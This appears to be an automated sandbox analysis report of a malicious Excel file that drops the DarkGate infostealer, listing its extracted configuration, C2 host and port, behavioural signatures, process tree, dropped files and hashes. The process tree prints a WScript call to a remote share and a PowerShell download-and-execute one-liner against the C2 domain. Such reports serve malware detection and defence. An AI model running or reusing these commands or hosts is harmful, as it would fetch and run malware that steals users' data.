Resubmissions

10/04/2024, 19:35

240410-yavszscf9x1

10/04/2024, 18:24

240410-w1999aba2w10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/04/2024, 18:24

General

  • Target
    4_10_AC-2335.xlsx
  • Size 51KB
  • Sample240410-w1999aba2w
  • SHA256 378b000edf3bfe114e1b7ba8045371080a256825f25faaea364cf57fa6d898d7
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • darkgate

Botnet
  • admin888

C2
  • wassonite.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    jdfEdKYT

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 4 IoCs
  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 12 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 7 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4_10_AC-2335.xlsx"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2684
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\5.180.24.155\azure\EXCEL_DOCUMENT_OPEN.JS"
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:968
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri wassonite.com/yrqnsfla)
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1756
        • C:\ciie\AutoHotkey.exe
          "C:\ciie\AutoHotkey.exe" C:/ciie/script.ahk
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:4828
        • C:\Windows\system32\attrib.exe
          "C:\Windows\system32\attrib.exe" +h C:/ciie/
          4⤵
          • Views/modifies file attributes
          PID:4056
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\5.180.24.155\azure\EXCEL_DOCUMENT_OPEN.JS"
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2168
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri wassonite.com/yrqnsfla)
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2136
        • C:\ciie\AutoHotkey.exe
          "C:\ciie\AutoHotkey.exe" C:/ciie/script.ahk
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:744
        • C:\Windows\system32\attrib.exe
          "C:\Windows\system32\attrib.exe" +h C:/ciie/
          4⤵
          • Views/modifies file attributes
          PID:4980
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\5.180.24.155\azure\EXCEL_DOCUMENT_OPEN.JS"
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:5012
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri wassonite.com/yrqnsfla)
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:840

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 8ef51b68725d9ddcda70f9f7ef24686ff3cb4a00f7d2dce79d10027ed63dfed5
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 ecab2aceb885ac737162c2e54e8bde677d9fd31d3c31cae9358d31f7c13c7933
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 f7e97b3fae3386eb4fe66c4280cfca9d4255fb256d59716dd90e8ad7ab82e057
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_fv54bqks.kf2.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fv54bqks.kf2.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        deeCede

        • Path C:\Users\Admin\AppData\Roaming\deeCede
        • Size 32B
        • SHA256 d606db08d66352fa685088e313f26e99482f15123a1842142705be16dd3e34a8
        • MD5 SHA1 SHA512

        AutoHotkey.exe

        • Path C:\ciie\AutoHotkey.exe
        • Size 892KB
        • SHA256 897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
        • MD5 SHA1 SHA512 SSDEEP

        script.ahk

        • Path C:\ciie\script.ahk
        • Size 441B
        • SHA256 8fca9dd75bac6406d6acd04ad98ee58c31e112fc3352199ebdc45f0347601791
        • MD5 SHA1 SHA512

        test.txt

        • Path C:\ciie\test.txt
        • Size 924KB
        • SHA256 0e64aabd9ea8afb2f01925c2eb06bf2bb57d1b09e7971e653a7256c56775a634
        • MD5 SHA1 SHA512 SSDEEP

        memory/744-115-0x0000000004670000-0x00000000046E4000-memory.dmp

        memory/744-113-0x0000000004670000-0x00000000046E4000-memory.dmp

        memory/840-121-0x00007FF806AB0000-0x00007FF807571000-memory.dmp

        memory/1756-72-0x00007FF806AB0000-0x00007FF807571000-memory.dmp

        memory/1756-38-0x00000128312E0000-0x0000012831302000-memory.dmp

        memory/1756-51-0x00000128319D0000-0x0000012831B92000-memory.dmp

        memory/1756-50-0x0000012831440000-0x0000012831450000-memory.dmp

        memory/1756-49-0x0000012831440000-0x0000012831450000-memory.dmp

        memory/1756-48-0x00007FF806AB0000-0x00007FF807571000-memory.dmp

        memory/2136-79-0x00000250650A0000-0x00000250650B0000-memory.dmp

        memory/2136-78-0x00007FF806AB0000-0x00007FF807571000-memory.dmp

        memory/2136-80-0x00000250650A0000-0x00000250650B0000-memory.dmp

        memory/2136-111-0x00007FF806AB0000-0x00007FF807571000-memory.dmp

        memory/2684-36-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

        memory/2684-8-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

        memory/2684-2-0x00007FF7EF8B0000-0x00007FF7EF8C0000-memory.dmp

        memory/2684-18-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

        memory/2684-22-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

        memory/2684-21-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

        memory/2684-20-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

        memory/2684-19-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

        memory/2684-17-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

        memory/2684-16-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

        memory/2684-15-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

        memory/2684-14-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

        memory/2684-13-0x00007FF7ED800000-0x00007FF7ED810000-memory.dmp

        memory/2684-4-0x00007FF7EF8B0000-0x00007FF7EF8C0000-memory.dmp

        memory/2684-3-0x00007FF7EF8B0000-0x00007FF7EF8C0000-memory.dmp

        memory/2684-11-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

        memory/2684-10-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

        memory/2684-12-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

        memory/2684-9-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

        memory/2684-23-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

        memory/2684-6-0x00007FF7ED800000-0x00007FF7ED810000-memory.dmp

        memory/2684-7-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

        memory/2684-5-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

        memory/2684-0-0x00007FF7EF8B0000-0x00007FF7EF8C0000-memory.dmp

        memory/2684-1-0x00007FF7EF8B0000-0x00007FF7EF8C0000-memory.dmp

        memory/4828-76-0x0000000004AA0000-0x0000000004B14000-memory.dmp

        memory/4828-74-0x0000000004AA0000-0x0000000004B14000-memory.dmp